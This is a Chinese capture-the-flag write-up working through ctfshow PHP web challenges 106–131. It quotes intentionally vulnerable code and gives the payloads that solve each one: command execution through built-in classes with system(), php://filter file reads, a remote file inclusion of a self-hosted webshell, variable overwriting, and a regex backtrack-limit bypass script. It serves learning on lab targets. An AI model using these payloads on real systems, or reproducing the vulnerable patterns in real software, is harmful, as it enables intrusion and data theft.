web106
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
数组和转为0e都行,这里图省事使用了数组绕过。
web107 parse_str
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str
函数会存储值作为变量
因此题目的意思是将v1中flag值与v3中的MD5值相同,那么:
GET:?v3=hello
POST:v1=flag=5d41402abc4b2a76b9719d911017c592
web108 ereg null绕过和intval
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
ereg
匹配函数,题目意思为c中只能出现字符,函数在NULL截断漏洞,%00截断绕过strrev
反转字符串
0x36d对应的数值为877,需要反转一次变为778。
组合起来payload:a%00778
web109 异常处理类命令执行
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
直接构造反射类(并没有想到,反射类还是没有太弄懂)?v1=ReflectionClass&v2=system("tac f*")
也可以用exception类,详情见题目下方链接。
Exception 异常处理类 payload: ?v1=Exception&v2=system('cat fl36dg.txt')
同理:?v1=mysqli&v2=system('tac fl36dg.txt')
这些都是因为类的tostring魔术方法导致的执行。
也就是初始化一个mysqli类,但是实际上这个类的初始化时候传参不止这一个,所以是初始化失败的,但是由于其内部有魔术方法__toString:
如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。
这时候就可以echo出来了。
同样内部类Exception也是可以的,这个类会把传入的参数输出出来,也是由__toString方法。
备注:
反射类详情见web100方法二
web110 php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录
payload:?v1=FilesystemIterator&v2=getcwd
web111 引用变量和$GLOBALS 指针相关
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
想要执行getflag函数,那么v1必须为ctfshow
,v2赋值为GLOBALS
,这里运用到了全局变量。
然后再将v2的值赋给v1,再接着getFlag函数,打印v1,v1为全局变量的时候,即可打印出flag
实在没看懂,我们看看以下解释:
假设现在有以下两个变量:
$v1 = 'foo'; // $v1 的值为字符串 'foo'
$v2 = 'bar'; // $v2 的值为字符串 'bar'
$bar = 'i am bar';
现在调用 getFlag
函数,并将 $v1
和 $v2
作为引用参数传递给它:
getFlag($v1, $v2);
在函数内部,"$$v1 = &$$v2;"
这一行代码将把 $v2
的引用赋值给了以 $v1
变量的值 'foo'
作为变量名的新变量。也就是说,在函数执行完毕后,我们得到了另一个变量 $foo
,它指向了和 $bar
相同的内存地址。
因此,如果我们在调用 getFlag
函数之后输出 $foo
变量的值,应该会得到 $bar
的值:
var_dump($foo); // 输出 string(8) "i am bar"
测试如下:
PS:byd我最开始还让gpt忽悠了,后来反应过来了,改回来了。再提醒一下,不要忘记编程语言的基础,=
是赋值,不是取等!
<?php
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
$v1 = 'a';
$v2 = 'GLOBALS';
$$v1 = &$$v2;
getFlag($v1,$v2);
?>
和指针类似,稍微理一下,也就是$a给予了和$GLOBALS相同的超全局变量。最后vardump的是$a。
备注
global和$GLOBALS:https://www.php.cn/php-weizijiaocheng-369541.html
web112
考点:php伪协议绕过is_file+highlight_file 对于php伪协议的使用
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
可以直接读文件?file=php://filter/resource=flag.php
除此之外,还有几种特殊的编码方式file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
(这个之前没见过,注意一下)file=compress.zlib://flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
web113
考点:目录溢出
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
?file=compress.zlib://flag.php
除此之外,有个预期解:?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容。
原理:is_file函数能处理的长度有限,用/proc/self/root可以目录溢出
web114
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
这个直接使用?file=php://filter/resource=flag.php
就行
web115
考点:trim函数的绕过+is_numeric绕过
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
trim函数
语法
trim(string,charlist)
参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
测试程序:
<?php
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
发现除了+-.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了。num=%0c36
*web123、web125、web126
考点:php变量不允许出现. 传入[代替_ $_SERVER[‘argv’]
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
第一个问题是php变量名是不允许点的使用的:
比如可以测试一下:
<?php
var_dump($_POST);
输入 CTF_SHOW.COM=1
返回
array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }
另外有一个知识点,使用[
来代替下划线,具体原因未知,爆破脚本如下:
<?php
function curl($url,$data){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
curl_close($ch);
return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) {
for ($j=0; $j <=128 ; $j++) {
$data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
if(curl($url,$data)!=0){
echo $data."\n";
}
}
}
test.php:
<?php
if(isset($_POST['CTF_SHOW.COM'])){
echo 123;
}
输出结果CTF%5BSHOW.COM=123
另外
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");
将$flag赋值flag_give_me
就可以了。
payload如下:
payload:
get: $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
非预期:
post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
测试:
<?php
$a=$_SERVER['argv'];
var_dump($a);
传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }
原理:
CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去。
web127
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
测试跑一下:
<?php
function curl($url){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
return strlen($result);
}
for ($i=0; $i < 128; $i++) {
$url="http://127.0.0.1/flag.php?ctf".urlencode(chr($i))."show=1";
if(curl($url)!==0){
echo urlencode(chr($i))."\n";
}
}
flag.php
<?php
if(isset($_GET['ctf_show'])){
echo 123;
}
以下的这些字符可以代替_
+ _ [ .
+ 这里的加号在url中起到空格的作用
出去过滤掉的字符,可以使用空格实现
payload:ctf show=ilove36d
总结
这种题需要有fuzz的技术,得学一下这个php就脚本的写法。
web128
考点:gettext(”_”)函数的使用+查看所有变量get_defined_vars
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
连续两次调用,而且会检查f1函数名称,特殊字符的函数只有_
,所对应的函数为:
可以借由输出字符串
使用f1=_&f2=phpinfo
就可以查看到php信息
由于题目有include('flag.php')
可以直接输出所有变量:
payload:f1=_&f2=get_defined_vars
即可
web129
考点:stripos
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
方法1 远程文件包含
一个方法是远程文件包含,在自己的服务器上写一句话木马,然后保存为txt文档,然后如下使用:f=http://url/xxx.txt?ctfshow
测试一下:
在根目录写一个一句话木马:
注意,一定要能访问得到,放在对应www或者wwwroot目录下
然后简单测试一下:
能够获取到,但是不能够rce
不知道为什么。
方法2 直接使用伪协议
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
base64解密即可
方法3 目录穿越
/ctfshow/../../../../var/www/html/flag.php
web130、web131
考点:pregmatch最大回溯次数绕过
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
直接用python脚本即可:
import requests
url = r"http://44ff0304-988a-4fea-b5a4-4dcd7874d335.challenge.ctf.show/"
data = {
'f': 'very' * 250000 + 'ctfshow'
}
r = requests.post(url, data=data)
print(r.text)
<?php
echo str_repeat('very', '250000').'36Dctfshow';
除此之外还可直接:f=ctfshow
后面接任意字符均可
或者使用空数组:f[]=ctfshow
但是131似乎就只能使用回溯超出做了。